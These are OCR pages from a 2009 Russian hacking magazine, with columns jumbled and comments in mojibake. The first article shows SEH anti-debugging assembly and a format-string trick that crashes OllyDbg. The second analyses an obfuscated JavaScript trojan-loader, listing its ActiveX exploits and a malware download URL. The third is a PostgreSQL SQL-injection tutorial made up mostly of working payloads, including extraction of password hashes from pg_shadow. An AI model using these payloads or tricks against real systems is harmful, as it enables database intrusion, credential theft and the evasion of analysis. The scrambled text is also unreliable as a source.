По умолчанию обработкой исключений зани- байтов. 0040103C POP ESP; âîññòàíîâèòü

068 XÀÊÅÐ 10 /130/ 09


OLLYDBG ПАСУЕТ ПЕРЕД ПЕРЕДАЧЕЙ
В VSPRINTF ()СПЕЦИФИКАТОРОВ...

АНТИОТЛАДКА: КОД ПРЕВРАТИЛСЯ В НЕРАБОТОСПОСОБНУЮ ПОД


ОТЛАДЧИКОМ «КАШУ»

...А ОТЛАДЧИК IMMUNITY НЕ БЕ-


ðåãèñòð ESP ну некоторой инструкции, размещенной в РЕТ ЭТА «ЗАРАЗА»!
0040103D JMP SHORT 00401000; ïå- пределах секции кода, заставляя отладчик
ðåéòè ê âûïîëíåíèþ ïðîãðàììû делать ошибочную попытку интерпретировать
инструкции как данные. Это может быть реали-
После установки обработчика исключений зовано следующим образом: 00401020 JMP DWORD PTR DS:
происходит инициирование исключительной • Начало кода программы, который становится [<&user32.MessageBoxA>]
ситуации (инструкция «CALL 00401033» уходит полностью «нечитабельным»: ; user32.MessageBoxA
в бесконечную рекурсию, что неминуемо вызы-
вает переполнение стека). ; Íèæå ðàñïîëîæåíû íåâåðíî èíòåð- • Начало антиотладочного кода:
Если проанализировать этот код, можно ïðåòèðóåìûå îòëàä÷èêîì èíñòðóêöèè:
заметить, что инструкция, расположенная по 00401000 DB 6A 00401026 XOR EAX,EAX
адресу 00401038, никогда не будет выполнена. ; CHAR 'j' 00401028 PUSH ex_excep.0040103A
Адрес, содержащийся в EIP, изменится после 00401001 DB 00 0040102D PUSH DWORD PTR FS:[EAX]
того, как исключение будет сгенерировано,
и он будет равен содержимому указателя на
обработчик исключения — 0x40103A. Поэтому
по адресу 00401038 может быть размещена ÓÊÀÇÀÒÅËÜ ÍÀ ÑÒÐÓÊÒÓÐÓ, ÑÎÄÅÐÆÀÙÓÞ ÀÄÐÅÑ
любая инструкция. Впрочем, использова-
ние в этом месте команды JMP позволяет ÎÁÐÀÁÎÒ×ÈÊÀ, ÍÀÕÎÄÈÒÑß ÏÎ ÀÄÐÅÑÓ FS:[0].
ввести отладчик в заблуждение. Например,
если операнд этой инструкции будет равен
0040103E, все последующие инструкции 00401002 DB 68 00401030 MOV DWORD PTR FS:[EAX], ESP
восстановления регистров будут трактоваться ; CHAR 'h'
как данные, ибо ни одна часть программы не 00401003 DD ex_excep.00403000 00401033 CALL ex_excep.00401033
ссылается на них, а перед ними расположена ; ASCII "Simply program"
инструкция безусловного перехода. Кроме 00401007 DB 68 00401038 JMP SHORT ex_excep.0040103E
того, ссылка на машинный код, который явля- ; CHAR 'h' ; ôèêòèâíûé ïåðåõîä íà ñåðåäèíó èíñ-
ется серединой инструкции JMP, приводит к 00401008 DD ex_excep.0040300F òðóêöèè
тому, что она рассматривается отладчиком как ; ASCII "Hello, World!"
следующий код: 0040100C DB 6A • Далее расположены неверно интерпретируе-
; CHAR 'j' мые отладчиком инструкции:
0040103D DB EB 0040100D ADD AL,CH
0040100F OR EAX,6A000000 0040103A DB 58
0040103E ROL DWORD PTR DS:[EAX],0 00401014 ADD AL,CH ; CHAR 'X'
; Shift constant out of range 1..31 00401016 ADD BYTE PTR DS:[EAX],AL 0040103B DB 58
00401018 ADD BYTE PTR DS:[EAX],AL ; CHAR 'X'
И уж совсем «добить» реверсера можно, 0040101A JMP DWORD PTR DS: 0040103C DB 5C
если разместить после команды JMP SHORT [<&kernel32.ExitProcess>] ; CHAR '\'
00401000 безусловный переход на середи- ; kernel32.ExitProcess 0040103D DB EB

XÀÊÅÐ 10 /130/ 09 069


ВЗЛОМ

PRINTF
«Функции семейства printf выводят данные в соответствии с
параметром format, описанным ниже. Функции printf и vprintf
направляют данные в стандартный поток вывода stdout; fprintf
и vfprintf направляют данные в заданный поток вывода stream;
sprintf, snprintf, vsprintf и vsnprintf направляют данные в символь-
ную строку str. Функции vprintf, vfprintf, vsprintf, vsnprintf эквива-
лентны соответствующим функциям printf, fprintf, sprintf, snprintf,
исключая то, что они вызываются с va_list, а не с переменным ко-
личеством аргументов. Эти функции не вызывают макрос va_end ,
и поэтому значение ap после вызова неопределенно. Приложение
может позже само вызвать va_end(ap). Эти восемь функций выво-
ТАК ВЫГЛЯДИТ ПРОГРАММА ДО ВНЕДРЕНИЯ АНТИ- дят данные в соответствии со строкой format, которая определяет,
ОТЛАДОЧНОГО КОДА. ВСЕ ПРЕДЕЛЬНО ЯСНО каким образом последующие параметры (или доступные парамет-
ры переменной длины из stdarg(3)) преобразуют поток вывода».

0040103E ROL DWORD PTR DS:[EAX],0 грамотный разбор антиотладочного кода про- и имеют уязвимости, свойственные подав-
; Shift constant out of range 1..31 фессиональным реверсером и множественные ляющему большинству других программных
00401041 JMP SHORT ex_excep.0040100F правки кода в процессе отладки. продуктов. Порой удается использовать эти
; ôèêòèâíûé ïåðåõîä íà ñåðåäèíó èíñ- Метод часто используется и для изменения EIP, ошибки, чтобы предотвратить отладку.
òðóêöèè то есть адреса выполняемой инструкции. Часть Отладчик OllyDbg содержит уязвимость,
кода, которая, казалось бы, должна выполняться, связанную с использованием ошибочного
Этот код практически не поддается анали- может быть предварена не слишком явно опре- выполнения функции vsprintf (), входящей в
зу, что доказывает: механизм исключений деленным исключением. В результате, разбор msvcrt. Функция входит в семейство функций
— очень эффективный и мощный метод структуры программы оказывается для реверс- «printf». Как это описывает сайт www.opennet.
антиотладки. Интересно, что инструкции, инженера практически непосильной задачей. ru читай на врезке.
располагающиеся вблизи точки входа, не Спецификаторы преобразований, начинаю-
интерпретируются в качестве кода даже «КОРМИМ» VSPRINTF () щиеся символом «%», указывают, что за стро-
после того, как точку останова устанавливают СПЕЦИФИКАТОРАМИ кой следует параметр. Если в вызове функции
на «данные», располагающиеся по адресу Отладчики, хотя и созданы специалистами по указан спецификатор «%s», параметр типа
0x401000. Исправить ситуацию может только реверс-инжинирингу, являются программами const char * будет преобразован в указатель на
символьный массив — строковой указатель.
При этом функцией будут выведены символы,
ТОЧКА ОСТАНОВА В НАЧАЛЕ КОДА ПРОГРАММЫ НЕ ПОМОЖЕТ. вплоть до символа-терминатора («NULL»).
OLLYDBG БЕССИЛЕН! В чем причина ошибочного выполнения
функции vsprintf () в OllyDbg? Оказывается,
в определенных случаях отладчик передает
данные, встречающиеся в программе, непос-
редственно функции vsprintf (), без каких-либо
дополнительных проверок. Представь себе,
что в строке, переданной функции, содержатся
спецификаторы преобразований. Если будет
выполнено преобразование параметра в
указатель, который будет указывать на неини-
циализированную область памяти, програм-
ма завершится с сообщением об ошибке.
Исключение не будет обработано стандартным
обработчиком, и процесс, породивший его,
будет завершен. Ты, наверное, догадался,
что в случае вызова некоторых API-функций в
процессе исследования программы данным
процессом будет являться отладчик. Это нас и
интересует больше всего :). Ошибка исполь-
зования функции vsprintf () при передаче ей
символьной строки, в которой содержатся спе-
цификаторы преобразования «%s», встреча-
ется в отладчике OllyDbg версии 1.10. Именно
эта версия и полюбилась тысячам реверсеров

070 XÀÊÅÐ 10 /130/ 09


ОТЛАДЧИК IMMUNITY, КАК ПОЛНОПРАВНЫЙ «КЛОН» OLLYDBG, ВЕДЕТ СЕБЯ ТАК ЖЕ. И ДАЖЕ ПОДВИСАЕТ

по всему миру! К сожалению, отладчики уров- MOV EAX,DWORD PTR SS:[EBP-4] На практике осуществить антиотладочный
ня ядра и некоторые «прикладные» отладчики 7C8024FD MOV DWORD PTR SS:[EBP-4],-1 прием, описанный выше, очень легко (в качес-
не имеют этой ошибки. Но наша цель — один из 7C802504 тве «подопытной» программы снова восполь-
наиболее популярных отладчиков — OllyDbg. MOV DWORD PTR SS:[EBP-8], EAX зуемся нашей «дрозофилой»):
Ниже мы рассмотрим код, который демонстри- 7C802507
рует использование уязвимости. LEA EAX,DWORD PTR SS:[EBP-10] 00401026 PUSH 00401033 ; óêàçàòåëü
Программа может генерировать текстовые 7C80250A MOV DWORD PTR FS:[0],EAX íà ñòðîêó
отладочные сообщения. Для этих целей в 7C802510 RETN 0040102B CALL OutputDebugStringA
WIN32 есть функция OutputDebugStringА() ; âûçîâ ôóíêöèè
библиотеки «kernel32.dll». Функцией После выполнения этого кода и возврата в 00401031 JMP 00401000; ïåðåõîä ê
OutputDebugStringA() регистрируется функцию OutputDebugStringA() обработчик âûïîëíåíèþ ïðîãðàììû
собственный обработчик исключений (мы будет установлен. 00401033 DB "%s%s",0 ; ñòðîêà, òåð-
говорили об обработчиках выше), после чего Вот прототип функции, которая вызывает ìèíèðîâàííàÿ íóëåâûì çíà÷åíèåì
вызывается RaiseException(), инициирующая исключение:
программное исключение. Если в системе В принципе, если вызов функций — как
присутствует отладчик, установленный по RaiseException( высокоуровневых, так и NativeAPI — спрятан
умолчанию, обработка сгенерированного DWORD dwExceptionCode, (этого можно добиться, используя некоторые
исключения будет передана ему. В ином DWORD dwExceptionFlags, методики, вроде Stolen code, то есть метод
случае будет использоваться обработчик, DWORD nNumberOfArguments, перемещения кода функций в PE-файл). Все
установленный самой функцией. В том, что CONST DWORD *lpArguments попытки исследования сводятся к пере-
обработчик действительно установлен, легко ); мещению в ядро выполнением команды
убедиться, протрассировав по <F7> функцию SYSENTER, что заставляет реверс-инженера
OutputDebugStringA() до момента вызова Параметр *lpArguments формируется использовать низкоуровневые отладчики,
внутренней функции, содержащей следую- на основе входной строки для функции например, SoftIce. В свою очередь, это свя-
щий код: OutputDebugStringA(). Так как указатель будет зано с большими трудозатратами. Поэтому
иметь недопустимое значение, исключение не эта защитная «фишка» является очень эф-
7C8024F9 PUSH EAX будет обработано. А это и приводит к «умира- фективной, если подходить к ее реализации
7C8024FA нию» отладчика. с умом. z

XÀÊÅÐ 10 /130/ 09 071


ВЗЛОМ
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU

ТРОЯН-ЛОАДЕР ПЕРЕБРАСЫВАЕТ БРАУЗЕР


НА САЙТ GOOGLE
ПЕРВАЯ ОШИБКА, ИНИЦИИРОВАННАЯ JAVASCRIPT-
СЦЕНАРИЕМ, ОЧЕНЬ ПОМОГЛА!

072 XÀÊÅÐ 10 /130/ 09


ТРОЯНСКАЯ
БИТВА
ОБЪЯВЛЯЕМ ВОЙНУ ОБФУСЦИРОВАННЫМ ЛОАДЕРАМ

Думаю, каждый пользователь Сети сталкивался с проблемами, ко-


торые вызывают вредоносные программы — вирусы, черви, трояны.
Чтобы эффективно противостоять троянописателям, нужно научить-
ся давать им адекватный отпор, раскрывать их хитроумные планы, на
корню рубить всяческие попытки нанесения ущерба. Сегодня мы пог-
рузимся в мир теории и практики исследования троян-лоадеров.

ТРУДНОСТИ ПЕРЕВОДА щают обфусцированный код в нечто более àðãóìåíò-ñòðîêà...'); //ïåðåäà÷à


Рассмотрим обфусцированный троян-лоадер, привлекательное. Пример такого сервиса çàøèôðîâàííîãî êîäà ëîàäåðà ôóíêöèè
который распознается антивирусом ESET — javascript-beautifier, располагающийся
NOD32 как «trojandownloader.iframe.ey.gen». по адресу http://jsbeautifier.org (о процессе Казалось бы, проблема решена и можно
Зашифрованный архив с текстом вредонос- деобфускации рассматриваемого троян-ло- заниматься отладкой кода с целью дешифра-
ного скрипта ты сможешь найти на нашем адера можно прочесть, опять же, на нашем ции троян-лоадера. К великому сожалению,
DVD, но помни, что он предназначен лишь DVD: я очень подробно описал особенности троянописатель позаботился о том, чтобы
для ознакомления с принципами работы восстановления обфусцированного кода). javascript-сценарий терял работоспособность
вредоносных программ. За распростране- После того, как я воспользовался деобфус- при любой модификации. Речь о том, каким
ние троян-лоадера несешь ответственность катором и приложил массу усилий, чтобы оп- образом это было достигнуто, пойдет ниже.
только ты. То же относится и к твоей личной ределить назначение той или иной перемен- Остается добавить, что передо мной возникла
безопасности — ни автор, ни редакция ной, я получил достаточно удобочитаемый задача отладки оригинального обфусцирован-
не отвечают за последствия действий, код («говорящие» названия даны некоторым ного кода, а это чрезвычайно непросто.
которые могут быть выполнены с исполь- переменным и функциям мной):
зованием ознакомительного материала и ОБФУСКАЦИЯ JAVASCRIPT?
текста вредоносного скрипта. Если открыть function Strange_Function( НЕ ПРОБЛЕМА!
html-страницу, которая содержит потен- string_parameter) Перед тем, как говорить об исследовании
циально опасные инструкции, при помощи кода, нужно уделить внимание инструмен-
любого текстового редактора, — можно { там, которые будут использоваться в работе.
обнаружить, что между тегами <script Каждый слышал как о браузере Mozilla Firefox,
language="javascript"> и </script> var String_withoutUpcase = так и о плагинах, которые для него создаются в
находится обфусцированный javascript-код. arguments.callee.toString(). большом количестве. Нас интересуют плагины,
Его основные части: функция, которая, ско- replace(/\W/g, '').toUpperCase();// позволяющие отлаживать код java. Ничего
рее всего, предназначена для расшифровки ëþáîïûòíàÿ èíñòðóêöèÿ лучше, чем Firebug, я не встречал. Он способен
троян-лоадера, и инструкция вызова данной //äàëåå ðàñïîëàãàåòñÿ îáúÿâëå- выполнять отладку сценариев — пошагово, с
функции, которая передает в качестве íèå ìíîãî÷èñëåííûõ ïåðåìåííûõ точками останова, позволяет устанавливать
аргумента зашифрованный код. Скрипт //è èíñòðóêöèè ïîëó÷åíèÿ ïåðå- наблюдения за переменными и исследовать
обфусцирован, поэтому его функциональ- ìåííîé "M6Nnm6jY0", êîòîðàÿ ïåðåäà- HTML-код. Будем считать, что выбор сделан.
ность определить чрезвычайно трудно. Он åòñÿ ôóíêöèè eval () íèæå Необходимо также позаботиться и о безопас-
практически нечитабелен — имена перемен- ности собственного компьютера, ведь исследо-
ных и функций выглядят как бессмысленные eval(M6Nnm6jY0); //âûïîëíåíèå вание троян-лоадера в ничем не защищенной
наборы символов. Чтобы понять назначение ïîëó÷åííîé ïîñëåäîâàòåëüíîñòè среде операционной системы, при использо-
тех или иных частей кода, необходимо скрипт вании браузера, работающего в «хостовой»
деобфусцировать. Можно воспользоваться } ОС без посредничества, может привести к
специальными онлайн-«бьютиферами» заражению компьютера. Один достаточно
кода, то есть сервисами, которые превра- Strange_Function('...Î÷åíü áîëüøîé очевидный выход, о котором, вероятно, ты

XÀÊÅÐ 10 /130/ 09 073


ВЗЛОМ

недостаток плагина — текст не может быть ско-


пирован из него корректно, если имеет слишком
большой размер (функция «Копировать исход-
ный код» не функционирует; возможно, в новой,
более стабильной версии Firebug недостаток
будет устранен). Решение все-таки существует.
Открой вкладку «Стек вызовов», которая распо-
лагается справа от окна «Сценарий», и выбери
из списка вызовов функцию «oD2vKFj61». Авто-
матически отобразится необходимый нам код.
Найди в окне кода переменную «ud7a00v7W».
Как видишь, скрипт выполняет определенный
набор инструкций, полученный в результате
неких манипуляций с зашифрованной строкой,
путем выполнения команды «eval (ud7a00v7W)».
Открой вкладку «Наблюдение», расположен-
ную справа от окна сценария. Нажми на поле
«Новое наблюдение...» и введи имя переменной
(ud7a00v7W). После этого она отобразится в спис-
ке «Наблюдение». Нажми на нее правой кнопкой
мыши и выбери «Копировать значение». Теперь
расшифрованный код троян-лоадера находится
ОБФУСЦИРОВАННЫЙ КОД ЧИТАЕТСЯ С ТРУДОМ в буфере обмена.
Первые трудности остались позади. Пого-
ворим о том, какими путями троянописатель
сразу же подумал, — использование виртуаль- «по умолчанию»). Когда браузер будет запущен, пытался «отбить нюх» у реверсера и заставить
ной машины. Не думаю, что это решение можно открой файл, в котором содержится вредоносный его отказаться от исследования. Возможно,
назвать подходящим: операционная система, код, предварительно активировав окно Firebug ты удивишься, но обфускация и шифрование
работающая под ее управлением, может быть нажатием на изображение симпатичного жучка в кода — не единственное, что было припасено в
заражена точно так же, как и ОС, управляемая правом нижнем углу браузера. Скрипт выпол- арсенале автора лоадера (об этом я упоминал
машиной «железной». Для исследования нится, а нас автоматически перебросит на сайт чуть выше, когда речь шла о невозможности
троян-лоадера часто требуется доступ к сети, а поисковой системы Google. Что ж, для начала не- запуска деобфусцированного кода). Если вни-
это значит, зараженная виртуальная машина плохо. Firebug уже отследил функциональность мательно посмотреть на код обфусцированно-
станет источником потенциальной опасности, скрипта, и можно приступать к его повторному го скрипта, можно заметить довольно странную
что неприемлемо. Альтернативное решение — выполнению с целью детального исследования. конструкцию, расположенную внутри функции,
использование так называемых «песочниц» В окне Firebug перейдем на вкладку «Сценарий» которая запускает процесс декодирования:
— утилит, способных выполнять программы в («Script» в английской версии плагина; будем
искусственно созданной среде. При запуске считать, что ты установил русифицированную var t1jXcSnPQ=arguments.callee.
браузера в «песочнице» все изменения, кото- версию Firebug). Если она отключена, необхо- toString().replace(/\W/g,'').
рые инициирует выполняемый java-код, никак димо ее активировать. Сейчас нужно включить toUpperCase();
не влияют ни на операционную систему, ни на опцию «Останавливаться на всех ошибках». Это
систему файловую. Я рекомендую использовать поможет не проскочить через целевой скрипт и Далее, по ходу выполнения функции, значение
Sandboxie — эта замечательная «песочница» остановиться на одной из ошибок, которые он переменной t1jXcSnPQ используется несколько
обеспечит полную безопасность при работе инициирует. После того, как это сделано, нажмем раз. Вызов функции callee массива arguments
с потенциально вредоносным java-кодом. на кнопку браузера «Назад» и обновим страницу. наряду с преобразованием значения в строку
И последнее: антивирусные средства могут Выполнение java-кода моментально приос- («toString()») указывает на то, что функция
воспрепятствовать исследованию, поэтому во тановится, а в окне «Сценарий» отобразится использует собственный текст для выполнения
время «испытаний» их лучше отключить. следующее сообщение: дешифрования. Это препятствует вмешатель-
Существует необычный метод, позволяющий ству в код функции, и ее изменение становит-
получить текст «исходного», незащищенного r = CLSID.CreateObject(name); CLSID. ся невозможным. Попытка получения кода
троян-лоадера, который генерирует javascript- CreateObject is not a function. расшифрованного скрипта путем внедрения
сценарий. Он невероятно прост, и мы рассмот- в javascript-код конструкций, присваиваю-
рим его, однако нужно помнить, что исполь- Ошибка позволила остановиться прямо в щих его значение атрибутам текстовых полей
зование метода не дает полного понимания дебрях распакованного троян-лоадером html-документа, заканчивается неудачей.
принципов защиты javascript-кода (и способов, вредоносного кода. Чтобы получить доступ к Например, выполнение присвоения значения
позволяющих этот код восстановить). Поэтому тексту этого java-скрипта, необходимо нажать атрибуту «VALUE» специально созданного тега
мы уделим немного времени разбору защит- на кнопку вкладки «Сценарий», открываю- «TEXT» лишено тут какого-либо смысла, ведь
ных методов, которые дополняют обфускацию. щую список всех выполняющихся скриптов и результат расшифровки при изменении тела
Итак, перейдем к практике. фрагментов кода, которые передаются функции функции будет принципиально иным, нежели в
Запускай браузер в Sandboxie, перетащив eval (), и выбрать из списка самый последний случае с вызовом оригинальной дешифрующей
его ярлык прямо на окно программы (думаю, вариант. В основном окне вкладки «Сценарий» функции. По этой причине использование от-
что с настройками Sandboxie ты разберешь- возникнет код расшифрованного java-скрипта. ладчика javascript-сценариев — один из самых
ся самостоятельно, они несложны — в конце Текст лоадера отображается, но скопировать из простых способов, позволяющих эффективно и
концов, можешь продолжить работу в режиме окна Firebug, как ни странно, его невозможно. Это быстро обходить достаточно сложную защиту.

074 XÀÊÅÐ 10 /130/ 09


4) Функция «u5r_Qafm()»:
Повреждение памяти через ActiveX в America
Online SuperBuddy (memory corruption). Метод
позволяет выполнять действия над контроли-
руемым диапазоном памяти.
5) Функция «Fv2QJVho ()»:
Попытка использования переполнения кучи,
уязвимая библиотека — NCTAudioFile2.dll
из NCTSoft NCTVideoStudio. Идентификатор
класса (CLSID) — 77829F14-D911-40FF-A2F0-
D11DB8D6D0BC.
6) Функция «uzbeukYW()»:
Уязвимость, содержащаяся в программе GOM
Player 2.1.6.3499 и более ранних ее версиях,
позволяет выполнять произвольный код на
удаленной машине. Она заключается в ошибке
проверки границ данных в ActiveX-компонен-
те GomWebCtrl.GomManager.1 (GomWeb3.
dll) при обработке метода «OpenURL()». Для
выполнения произвольного кода использу-
ется передача при помощи сформированной
ссылки длинного аргумента (более 500 байт),
что вызывает переполнение стека.
SANDBOXIE — И ТРОЯНЫ «В КОРОБКЕ»! НАДЕЖНЕЕ ВИРТУАЛЬНОЙ 7) Функция «bF4sn2HS()»:
МАШИНЫ Ошибка, которая используется функцией,
содержится в ActiveX-компоненте Microsoft
Access Snapshot Viewer-а. Уязвимость позво-
ЛАТАЕМ ДЫРЫ (более подробное описание приводится здесь: ляет инициировать переполнение буфера и
Код троян-лоадера получен, остается лишь http://www.kb.cert.org/vuls/id/234812). При по- выполнять произвольный код на удаленной
проанализировать его, извлечь необходимые мощи функции «yXjO37yr()» способна создавать машине с правами пользователя, запустивше-
данные и залатать дыры, которые, возможно, и загружать файл «C:\win....exe» (с произволь- го Internet Explorer.
присутствуют в браузерах и операционной ным набором символов в имени). Происходит
системе. попытка загрузки с адреса http://guuatwe.com/ ЗАКЛЮЧЕНИЕ
Основа троян-лоадера — набор функций, in.cgi?02010258020000000019f696fa242c14658 Как ты, возможно, заметил, троянописате-
использующих доступные уязвимости для 1fe980f. ли ориентировались на Internet Explorer,
выполнения вредоносного кода. Количество 2) Функция «DnCWiFOj()»: которым пользуется основная масса интер-
функций равно семи; если учесть, что каждая из Функция пытается выполнить код, записанный нет-серферов, хотя некоторые из уязвимостей
них эксплуатирует некоторую серьезную дыру в в unescape-последовательности, видимо, присутствуют и в других браузерах. Помимо
безопасности, можно убедиться, насколько не- провоцируя переполнение буфера. практической пользы, из нашего опыта можно
приятные последствия может иметь выполне- 3) Функция «SOhxTHtY()»: извлечь хороший урок: троянописатели приду-
ние скрипта на незащищенной машине. Ниже Используется попытка создания уязвимо- мывают все новые способы заражения компью-
приведен код, который выполняет основную го ActiveXObject-а и переполнения буфера теров пользователей. Впрочем, противостоять
работу: (подобный механизм используется в Trojan- им все же можно, и в этом мы сегодня убеди-
Downloader.Win32.Tiny). лись. Успехов в исследованиях! z
if (n0lterOf() || DnCWiFOj()
|| SOhxTHtY() || u5r_Qafm() ||
Fv2QJVho() || uzbeukYW() ||
bF4sn2HS()) { }
ТЕКСТ ЛОАДЕРА ПОЛУЧЕН
setTimeout("window.location =
'http://www.google.com'", 5000);

Мы уже убедились, что скрипт перебрасывает


браузер на сайт поисковой системы Google; те-
перь — выяснили, что происходит чуть раньше
этого события. Займемся анализом каждой из
функций. Поисковики, бюллетени безопас-
ности и баг-трекеры помогут нам в получении
подробностей, касающихся каждой из исполь-
зуемых вредоносным кодом дыр. Полный текст
каждой из функций ты можешь найти на диске,
так как размер журнальной статьи не позволяет
привести их целиком. Мы ограничимся лишь
списком дыр.
1) Функция «n0lterOf()»:
Используется уязвимый ActiveX-компонент

XÀÊÅÐ 10 /130/ 09 075


ВЗЛОМ
SPYDER SPYDER@ANTICHAT.NET

УКОЛ СЛОНУ
РУКОВОДСТВО ПО РЕАЛИЗАЦИИ SQL-INJECTION В POSTGRESQL

Говоря о базах данных, человек, работающий в Вебе, скорее всего


вспомнит MySQL, а программист, создающий БД для крупных тор-
говых компаний, — Oracle. Тем не менее, PostgreSQL сейчас одна из
самых мощных реляционных СУБД наряду с Oracle и Sybase и, стоит
заметить, бесплатная.

UNION,
ВСЕ ГЕНИАЛЬНОЕ — ПРОСТО В результате увидим ошибку: id (int)
Итак, сразу к делу. Рассмотрим инъекцию вида title (text)
Query failed: ERROR: ORDER BY text (text)
SELECT id,title,text,is_enable FROM position 5 is not in select list
news WHERE id=$id; is_enable (boolean)
Отнимаем от этого числа единицу и получаем
Если мы не знаем количество столбцов, то количество столбцов в запросе. В нашем слу- Попытка составить, например, такой запрос:
подбираем так же, как и в MySQL: чае это будет 4. Составляем еще один запрос:
id=-1 UNION SELECT
id=1 ORDER BY 1 id=-1 UNION SELECT null,null,null,123
id=1 ORDER BY 99 null,null,null,null
привела бы к следующей ошибке —
— либо, если у нас есть вывод ошибок, следую- Важное отличие MySQL от большинства других
щим образом: СУБД — в том, что она игнорирует конфликт в Query failed: ERROR: UNION types
типах колонок при UNION. В нашем случае поля boolean and integer cannot be
id=1 ORDER BY 1,2,3,4,5,...,99 имеют тип: matched

076 XÀÊÅÐ 10 /130/ 09


Как правило, нам требуется вывод в столбцах
типа text или char. КАК И В ДРУГИХ СУБД, В POSGRESQL
УЗНАЕМ О СЕБЕ СУЩЕСТВУЮТ СТАНДАРТНЫЕ СИСТЕМНЫЕ
Прежде всего, узнаем, кто мы такие (т.е. свои
права и обязанности), выполнив запрос: ТАБЛИЦЫ. К НЕКОТОРЫМ ИМЕЮТ ДОСТУП ВСЕ.
id=-1 UNION SELECT
null,null,ñurrent_user,null 2. $text$ Чтобы узнать больше информации о нашем
Два знака доллара говорят PostgreSQL о том, пользователе, составляем такой запрос:
А также получим полное инфо о сервере: что далее в запросе следует строка. И
это самый лучший способ обхода экранирова- id=-1 UNION SELECT null,null,usena
id=-1 UNION SELECT ния кавычек. Наш запрос будет выглядеть так: me||':'||cast(usesysid+as+text)||
null,null,current_ ':'||cast(usecreatedb+as+text)||'
database()||':'||version(),null id=-1 UNION SELECT :'||cast(usecatupd+as+text)||':'|
null,null,current_database()||$tex |cast(usesuper+as+text),null FROM
Здесь стоит разобрать запрос по частям. Во- t$:$text$||version(),null pg_user WHERE usename=current_user
первых, в нем используются специфические
функции: По правде говоря, слово text между знаками В итоге, получим результат вида —
доллара можно опустить :).
current_database() — âûâîäèò íàçâà- admin:16385:true:true:true
íèå òåêóùåé áàçû äàííûõ id=-1 UNION SELECT
version() — àíàëîãè÷íî ñ MySQL âûâî- null,null,current_database()||$$:$ В предыдущем запросе была использована
äèò âåðñèþ PostgreSQL $||version(),null функция cast(), она, так же, как и в MySQL, пре-
образует типы данных. В нашем случае проис-
Во-вторых, для объединения используются СИСТЕМНАЯ ИНФОРМАЦИЯ ходит преобразование intÆtext и booleanÆtext.
Символы пайпов «||», аналог функции concat() Как и в других СУБД, в PosgreSQL существуют 2. pg_shadow
в MySQL. И, в-третьих, разделителем выступает стандартные системные таблицы. К некоторым Ты сейчас, скорее всего, вспомнил файл /etc/
символ двоеточия «:», обрамленный кавыч- имеют доступ все, а к некоторым только супер- shadow, в котором находятся пароли поль-
ками. юзер. зователей в большинстве *nix-систем. И не
Запрос возвратит результат: 1. pg_user зря! Таблица pg_shadow, в отличие от pg_user,
Таблица, доступная всем пользователям. Поль- хранит в себе еще и пароли пользователей.
sitedb:PostgreSQL 8.3.7 on x86_64- за хакеру от нее небольшая, но все же она есть. Попробуем узнать пароль:
redhat-linux-gnu, compiled by GCC Интересные поля:
gcc (GCC) 4.1.2 20071124 (Red Hat id=-1 UNION SELECT null,null,usenam
4.1.2-42) usename — Èìÿ ïîëüçîâàòåëÿ (òèï e||':'||passwd,null FROM pg_shadow
name) WHERE usename=current_user
Рассмотрим случай, когда уязвимое приложе- usesysid — ID ïîëüçîâàòåëÿ (òèï int)
ние написано на PHP, и в скрипте используется usecreatedb — Ìîæåò ëè ïîëüçîâàòåëü admin:md5db55162d9e34e895d45a084f1
функция addslashes(), либо в файле php.ini ñîçäàâàòü áàçû äàííûõ (òèï boolean) 5726371
включена директива magic_quotes_gpc. usecatupd — Ìîæåò ëè ïîëüçîâàòåëü
1. chr() âíîñèòü èçìåíåíèÿ â ñèñòåìíûå òàáëè- К сожалению, доступ к таблице pg_shadow есть
Функция chr() получает один числовой аргу- öû (òèï boolean) только у юзера с правами usesuper.
мент «n» типа integer и возвращает символ usesuper — Èìååò ëè ïîëüçîâàòåëü 3. pg_language
с ASCII-кодом, равным «n». Узнаем чар-код ïðèâèëåãèè superuser (òèï boolean) Это таблица, в которой содержится информа-
символа «:» и составляем запрос:

id=-1 UNION SELECT


null,null,current_database()||chr(
58)||version(),null

Это не очень удобно, так как иногда в кавычки


нужно обрамлять довольно длинную строку. Тут су-
ществует более удобный способ, описанный ниже.

РЕЗУЛЬТАТ УСПЕШНО ПРОИЗ-


ВЕДЕННОГО BACK-CONNECT'A.
ПОЛЬЗОВАТЕЛЬ POSTGRES ИНЪЕКЦИЯ В POSTGRESQL ЧАСТО СТАВИТ В ТУПИК

XÀÊÅÐ 10 /130/ 09 077


ВЗЛОМ

главных плюсов инъекции в PostgreSQL — возможность


разделений запросов символов точки с запятой ';'.В нашем
примере это будет выглядеть так:

id=10;SELECT 123

Минус такого способа — мы не видим вывода второго


запроса, но и это не помеха. А поможет нам здесь знакомое
преобразование типов. Попробуем преобразовать тип text в
тип boolean и посмотрим, что из этого выйдет:

id=10;SELECT CAST(version() AS boolean)

В результате запрос вернет ошибку:

Query failed: ERROR: invalid input syntax for


НЕБОЛЬШАЯ ЗАМЕТКА «HACKING WITH POSTGRESQL» НА type boolean: "PostgreSQL 8.3.7 on x86_64-
WWW.DEPESZ.COM redhat-linux-gnu, compiled by GCC gcc (GCC)
4.1.2 20071124 (Red Hat 4.1.2-42)"

ция об установленных процедурных языках. Однако этот способ не будет работать, если поле имеет тип
Подробнее — чуть позже, а пока приведу ее неполную name. К примеру, такой запрос:
WARNING структуру:
id=10;SELECT+CAST(usename AS boolean) FROM
lanname — Íàçâàíèå ÿçûêà (òèï name) pg_user
lanispl — ßâëÿåòñÿ ëè ÿçûê ïðîöåäóðíûì, âñåãäà
info false äëÿ ÿçûêà sql (òèï boolean) возвратит ошибку —
Внимание! Инфор- lanpltrusted — ßâëÿåòñÿ ëè ïðîöåäóðíûé ÿçûê
мация представлена áåçîïàñíûì (òèï boolean) ERROR: cannot cast type name to boolean
исключительно
с целью ознаком- ВСТРЕЧАЙТЕ... Но мы знаем, что ошибку выдает преобразование типа text
ления! Ни автор, ни INFORMATION_SCHEMA! в тип boolean. А что нам мешает сделать двойное преобра-
редакция за твои Радоваться или плакать, но в PostgreSQL существует зование?
действия ответствен- полюбившаяся нам в MySQL > 5.0 база information_schema,
ности не несут! содержащая в себе информацию обо всех таблицах и id=10;SELECT CAST(CAST(usename AS text) AS
колонках, доступных текущему пользователю. Структура ее boolean) from pg_user
практически идентична.
Узнаем интересующую нас таблицу: Первой функцией мы переводим name в text, а второй text в
boolean. В результате получаем ошибку:
id=-1 UNION SELECT null,null,table_name,null
